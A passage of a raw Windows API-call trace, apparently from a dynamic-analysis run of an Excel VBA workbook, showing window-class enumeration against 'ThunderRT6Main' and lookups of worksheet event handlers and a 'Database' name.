(lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0103.834] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.834] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0103.834] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0103.834] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0103.834] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0103.834] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0103.834] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0103.834] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0103.834] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.834] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0103.834] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0103.834] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0103.834] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0103.834] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0103.834] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.834] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.834] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0103.834] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0103.834] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0103.834] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0103.834] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.834] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0103.834] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.834] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.834] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.834] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0103.834] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0103.835] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0103.835] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0103.835] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0103.835] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.835] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.835] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0103.835] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0103.835] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.835] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.835] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0103.835] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0103.835] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.835] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.835] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.835] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0103.835] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0103.835] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0103.835] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.835] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0103.835] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0103.835] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0103.835] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.835] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0103.835] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.835] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.835] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.835] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0103.835] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.835] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.835] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.836] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0103.836] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.836] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.836] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.836] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0103.836] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0103.836] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0103.836] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.836] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0103.836] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0103.836] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0103.836] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0103.836] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0103.836] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.836] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.836] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0103.836] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0103.836] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0103.836] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0103.836] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0103.836] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0103.836] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.836] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.836] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0103.837] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0103.837] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0103.837] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0103.837] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0103.837] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0103.837] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.837] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.837] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0103.837] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0103.837] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.837] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.837] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0103.837] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0103.837] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.837] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.837] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.837] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0103.837] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.837] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.837] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0103.837] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0103.837] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0103.837] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0103.837] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.837] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0103.837] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.837] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.837] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0103.837] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0103.837] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.837] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.837] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.838] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0103.838] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0103.838] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0103.838] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0103.838] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0103.838] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.838] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.838] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0103.838] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0103.838] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.838] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.838] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.838] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0103.838] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.838] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.838] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.838] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0103.838] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="#43") returned 3 [0103.838] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0103.838] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0103.838] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0103.838] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.838] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.838] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0103.838] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0103.838] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0103.838] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0103.838] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.838] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0103.838] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0103.838] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0103.838] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.839] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0103.839] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0103.839] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0103.839] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.839] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0103.839] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0103.839] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0103.839] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.839] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0103.839] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0103.839] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0103.839] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0103.839] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0103.839] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.839] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.839] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.839] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0103.839] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.839] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.839] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.839] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0103.839] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.839] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.839] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0103.839] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0103.839] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0103.839] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0103.839] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0103.839] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0103.839] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0103.839] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0103.839] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.840] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0103.840] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6ee2e20 [0103.840] IMalloc:Free (This=0x7feffc15380, pv=0x6ee2e20) [0104.232] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68000000d6) returned 0x0 [0104.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0104.233] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0104.233] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0104.233] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0106.416] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=279, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x300000003 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x300000003) returned 0x0 [0106.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x28f020, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0106.416] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x14, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0106.416] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0xa, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0106.416] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0112.840] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x680000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x680000035b) returned 0x0 [0112.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0112.841] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0112.841] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0112.841] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0112.881] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0112.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0112.881] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0112.881] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0112.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0112.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0112.885] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb683b60 [0112.886] strncpy_s (in: _Dst=0xb683b60, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0112.886] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0112.886] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0112.886] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0112.886] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0112.886] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0112.886] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0112.886] IUnknown:Release (This=0xb1d1380) returned 0xb [0112.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb683b60, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0112.886] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0112.887] IUnknown:Release (This=0xb1d1380) returned 0xa [0112.887] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0112.887] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0112.887] IUnknown:Release (This=0xb1d0570) returned 0x12 [0112.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb683b60, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0112.887] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0112.887] IUnknown:Release (This=0xb1d0570) returned 0x11 [0112.887] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0112.887] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0112.887] IUnknown:Release (This=0xb1d1920) returned 0x6 [0112.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb683b60, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0112.887] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0112.887] IUnknown:Release (This=0xb1d1920) returned 0x5 [0112.888] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0112.888] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0112.888] IUnknown:Release (This=0x6fed890) returned 0x4 [0112.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb683b60, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0112.888] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 